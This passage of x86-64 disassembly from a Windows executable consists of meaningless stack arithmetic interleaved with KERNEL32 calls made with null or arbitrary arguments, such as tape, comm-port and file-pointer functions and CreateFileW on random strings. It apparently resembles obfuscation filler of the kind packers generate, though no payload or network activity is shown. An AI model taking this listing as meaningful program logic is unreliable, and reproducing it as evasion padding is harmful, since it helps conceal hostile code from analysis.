mov qword [rsp + 0xbd10], rax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0x7288]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022bcb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3dc8]
shl eax, cl
mov dword [rsp + 0x46ac], eax
lea rax, [rsp + 0x35b]
mov qword [rsp + 0xbd18], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movsx eax, word [rsp + 0x1fb8]
movsx ecx, word [rsp + 0x1ee4]
xor eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e88]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb548]
mov word [rcx], ax
lea rax, [rsp + 0x358]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xb288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rsp + 0xbd28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7c8]
mov ecx, dword [rsp + 0x4778]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a1c], eax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1b5c]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1394], ax
mov rax, qword [0x14022b9b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb588]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022a0c8], ax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0x9710]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xabb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov qword [rsp + 0xbd30], rax
mov rax, qword [rsp + 0xad10]
movzx ecx, al
mov rax, qword [rsp + 0x8d50]
sar rax, cl
mov rcx, qword [rsp + 0xbbd8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd98]
movsx ecx, word [rsp + 0x1d20]
and eax, ecx
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0xa098]
mov rcx, qword [0x14022a018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbaf0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5a1d
mov rcx, qword [rsp + 0xbb50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45f8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xa858]
mov rcx, qword [rsp + 0xba70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e4], eax
lea rax, [rsp + 0x390]
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0x9b68]
mov rcx, qword [rsp + 0xae70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rax, [rsp + 0x396]
mov qword [rsp + 0xbd48], rax
mov rax, qword [rsp + 0xb5f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140229f88], ax
lea rdx, [rsp + 0x46dc]
mov rcx, qword [rsp + 0xa578]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49a8], eax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa238]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
sar eax, cl
mov rcx, qword [rsp + 0xba28]
mov word [rcx], ax
mov rax, qword [0x14022bc20]
mov rax, qword [rax]
mov qword [rsp + 0xbd50], rax
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a00], rax
movzx eax, byte [rsp + 0x2a4]
mov byte [rsp + 0x3b0], al
mov eax, dword [rsp + 0x4230]
mov ecx, dword [rsp + 0x4930]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed8]
and eax, ecx
mov word [rsp + 0x1930], ax
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
add eax, ecx
mov rcx, qword [rsp + 0xb9a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xba90]
mov rax, qword [rax]
mov qword [0x14022bd80], rax
lea rcx, [rsp + 0xbd58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xabf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
sar eax, cl
mov word [rsp + 0x1a7c], ax
lea rax, [rsp + 0x7fd8]
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
lea rax, [rsp + 0x7950]
mov qword [rsp + 0xbd68], rax
lea rdx, [rsp + 0x4ac4]
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4814], eax
mov rax, qword [rsp + 0xb928]
mov rcx, qword [rsp + 0xb668]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f48], eax
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x460c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x3b1], al
movsx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0xb7b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x98], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.DxQ3rV3Y79t4E6AP3m
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd70], rax
lea rdx, [rsp + 0x4940]
mov rcx, qword [rsp + 0xbd08]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
movsx eax, word [0x140229f44]
movsx ecx, word [rsp + 0x1b80]
or eax, ecx
mov word [0x14022bbbc], ax
lea rax, [rsp + 0x1eb8]
mov qword [rsp + 0xbd78], rax
mov rax, qword [rsp + 0xb6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x968], ax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b9a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x94a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x76c8], rax
movsx eax, byte [rsp + 0x358]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a3], al
lea rax, [rsp + 0x398c]
mov qword [rsp + 0xbd80], rax
movsx eax, word [rsp + 0x1f80]
movsx ecx, word [rsp + 0xec8]
add eax, ecx
mov rcx, qword [rsp + 0xb7f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
mov rcx, qword [0x14022bc60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa840]
mov word [rcx], ax
mov rax, qword [rsp + 0xb478]
mov rax, qword [rax]
mov qword [0x14022bd88], rax
mov rax, qword [rsp + 0xa820]
mov rax, qword [rax]
mov qword [rsp + 0xbd88], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Cu5dEdCHpU5bPwWtT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd90], rax
mov r9d, 0x988
xor r8d, r8d
lea rdx, [rsp + 0xbd38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9a0], rax
lea rdx, [rsp + 0x4b40]
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x478c], eax
lea rax, [rsp + 0x8f80]
mov qword [rsp + 0xbd98], rax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0xa468]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ee8], ax
mov rax, qword [rsp + 0xae48]
mov eax, dword [rax]
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0xb788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
mov r9d, 0x15c2
xor r8d, r8d
lea rdx, [rsp + 0xa2e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x9ef0]
mov rcx, qword [0x14022a048]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8020], rax
mov rax, qword [rsp + 0xb1b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38c]
shl eax, cl
mov byte [0x14022b812], al
lea rdx, [rsp + 0x4b48]
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4850], eax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d34], ax
movzx eax, word [rsp + 0x1f2c]
mov word [rsp + 0x1fd4], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d74]
or eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
mov rax, qword [0x14022bab0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9120], rax
mov rcx, qword [rsp + 0xae80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x39a]
mov qword [rsp + 0xbda0], rax
mov rax, qword [rsp + 0x7b28]
movzx ecx, al
mov rax, qword [rsp + 0x9e58]
shr rax, cl
mov qword [rsp + 0xbc10], rax
lea rdx, [rsp + 0x4b4c]
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4960], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xb0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b0c], eax
movsx eax, word [rsp + 0x7e4]
movsx ecx, word [rsp + 0x1ee0]
and eax, ecx
mov word [rsp + 0x1d3c], ax
mov rax, qword [rsp + 0xbc80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb368]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b910], ax
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0x9c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
mov word [rsp + 0x1fd8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ea8]
sar eax, cl
mov rcx, qword [rsp + 0xbc20]
mov dword [rcx], eax
lea rdx, [rsp + 0x4694]
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47bc], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xbda8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.XsebEjVJy24qfkIl3tOMdR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbdb0], rax
mov eax, dword [rsp + 0x49f8]
mov ecx, dword [rsp + 0x4718]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e6c], eax
movzx eax, byte [rsp + 0x36b]
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xbbf0]
mov rcx, qword [rsp + 0xba68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa050]
mov word [rcx], ax
mov rax, qword [rsp + 0xb368]
movzx eax, word [rax]
movzx ecx, word [0x140229fec]
or eax, ecx
mov word [0x14022a0cc], ax
mov rcx, qword [rsp + 0x9f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xa9d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8518], rax
mov rax, qword [rsp + 0xaea0]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa528]
movzx eax, word [rax]
mov word [rsp + 0x1fdc], ax
mov rax, qword [rsp + 0xa5c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb100]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13c8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xadfe
mov rcx, qword [rsp + 0xb9b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x282]
sub eax, ecx
mov byte [rsp + 0x3a3], al
lea rax, [rsp + 0xb978]
mov qword [rsp + 0xbdb8], rax
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xa230]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a90], eax
mov rax, qword [0x14022bd00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x84d0], rax
movsx eax, word [rsp + 0xd98]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14022bb20], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbdc0], rax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a7c]
and eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb950]
mov ecx, dword [rsp + 0x3a34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4744], eax
lea rax, [rsp + 0x36f]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xb2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f78]
mov qword [rsp + 0xbdd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7838], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xae7f
mov rcx, qword [rsp + 0xbb58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0x9248]
mov qword [rsp + 0xbdd8], rax
lea rcx, [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41ec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa958]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb718]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37c], al
movsx eax, word [0x140229fd4]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16bc], ax
mov rax, qword [rsp + 0xabd0]
movzx eax, word [rax]
mov word [0x14022bd90], ax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb398], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rax, [rsp + 0x1f0c]
mov qword [rsp + 0xbde0], rax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1680]
add eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov qword [rsp + 0xbde8], rax
mov rax, qword [0x14022bbc0]
mov rcx, qword [rsp + 0x99e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8578], rax
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x368]
and eax, ecx
mov byte [rsp + 0x2b4], al
mov eax, dword [rsp + 0x4924]
mov dword [rsp + 0x4b50], eax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc4]
sar eax, cl
mov rcx, qword [rsp + 0xa0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bb18]
mov qword [rcx], rax
lea rax, [rsp + 0x379]
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0xa8c0]
mov ecx, dword [rsp + 0x4400]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a34], eax
lea rcx, [rsp + 0xbdf8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 2
xor r8d, r8d
mov edx, 0xca07
mov rcx, qword [rsp + 0xab78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a0], eax
movsx eax, word [rsp + 0x12a8]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1edc], ax
lea rax, [rsp + 0x1dbc]
mov qword [rsp + 0xbe00], rax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa230]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xac38]
mov dword [rcx], eax
lea rax, [rsp + 0x9430]
mov qword [rsp + 0xbe08], rax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x188]
movsx ecx, byte [0x14022b813]
sub eax, ecx
mov rcx, qword [rsp + 0xa998]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d28], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.l2EsEZHP39hQVzUqBhJ_rZW5Qs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbe10], rax
lea rax, [rsp + 0x1ca4]
mov qword [0x14022bd98], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [0x14022bb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7848]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d08], rax
mov r9d, 0x440
xor r8d, r8d
lea rdx, [rsp + 0xb6c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0x8f80]
mov qword [rsp + 0xbe18], rax
movsx eax, word [rsp + 0x1518]
mov rcx, qword [rsp + 0xb068]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
lea rax, [rsp + 0x2dd]
mov qword [rsp + 0xbe20], rax
mov rax, qword [rsp + 0xb208]
mov rcx, qword [rsp + 0x6f58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7158], rax
mov rax, qword [rsp + 0xb4e8]
mov rcx, qword [0x14022b9f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3a4c], eax
mov rax, qword [rsp + 0xbda8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x331]
sub eax, ecx
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0xbc20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb450]
mov qword [rsp + 0xbe28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe28]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xaac0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0xb5d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14022b9f8], ax
movzx eax, word [rsp + 0x1e8c]
mov word [rsp + 0x1fe0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rdx, [rsp + 0x4b40]
mov rcx, qword [rsp + 0xb350]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b54], eax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0xac88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9f8], rax
lea rax, [rsp + 0x484c]
mov qword [rsp + 0xbe30], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xb9a0]
mov rcx, qword [rsp + 0x72a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac80]
mov qword [rcx], rax
lea rax, [rsp + 0x394]
mov qword [rsp + 0xbe38], rax
movsx eax, word [rsp + 0x1f8c]
movsx ecx, word [rsp + 0x1fa8]
or eax, ecx
mov rcx, qword [rsp + 0xb680]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e34]
movzx ecx, word [0x14022a088]
xor eax, ecx
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
lea rax, [rsp + 0x8078]
mov qword [0x14022bda0], rax
movzx eax, word [rsp + 0x1e88]
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0xaee0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb638]
shl rax, cl
mov rcx, qword [rsp + 0xa428]
mov qword [rcx], rax
lea rax, [rsp + 0x9cd8]
mov qword [rsp + 0xbe40], rax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7490]
shr rax, cl
mov qword [rsp + 0x7b28], rax
movsx eax, byte [rsp + 0x393]
imul eax, eax, 0x45
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x396]
sub eax, ecx
mov byte [rsp + 0x1f1], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8593
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4884], eax
mov eax, dword [rsp + 0x4748]
mov ecx, dword [rsp + 0x49d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov dword [rcx], eax
mov eax, dword [0x140229ff0]
mov dword [rsp + 0x4b58], eax
mov rax, qword [rsp + 0xaa80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14022a0d0], ax
movsx eax, word [rsp + 0x1d54]
mov rcx, qword [rsp + 0xb8f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f20], ax
lea rax, [0x14022bb10]
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb4], ax
lea rcx, [rsp + 0xbe50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x7b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a8], rax
lea rax, [rsp + 0x38d]
mov qword [rsp + 0xbe58], rax
mov eax, dword [rsp + 0x4b50]
mov ecx, dword [rsp + 0x4a98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7e4]
and eax, ecx
mov word [rsp + 0x900], ax
movzx eax, word [rsp + 0x13c8]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ca4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7bda
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b10], eax
mov rax, qword [rsp + 0x9120]
movzx ecx, al
mov rax, qword [rsp + 0x9ca0]
shl rax, cl
mov rcx, qword [0x14022bab0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xb690]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xacf0], rax
mov rax, qword [rsp + 0x7918]
mov qword [rsp + 0xbe60], rax
mov rax, qword [rsp + 0x82e8]
movzx ecx, al
mov rax, qword [rsp + 0x7288]
sar rax, cl
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
mov word [rsp + 0x1fe8], ax
movzx eax, byte [rsp + 0x3b1]
movzx ecx, byte [rsp + 0x344]
sub eax, ecx
mov byte [rsp + 0x352], al
mov rax, qword [rsp + 0x9998]
mov ecx, dword [rsp + 0x4ab8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4aa8], eax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [0x14022a018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7610], rax
movsx eax, byte [rsp + 0x34e]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd1], al
lea rax, [rsp + 0x4530]
mov qword [0x14022bda8], rax
mov rax, qword [rsp + 0x9f00]
movzx eax, word [rax]
mov word [rsp + 0x1fec], ax
movsx eax, word [rsp + 0x1c94]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d54], ax
mov rax, qword [rsp + 0xb110]
movzx eax, word [rax]
mov rcx, qword [0x14022bd78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov rax, qword [rsp + 0x8330]
mov rcx, qword [rsp + 0xada0]
add rcx, rax
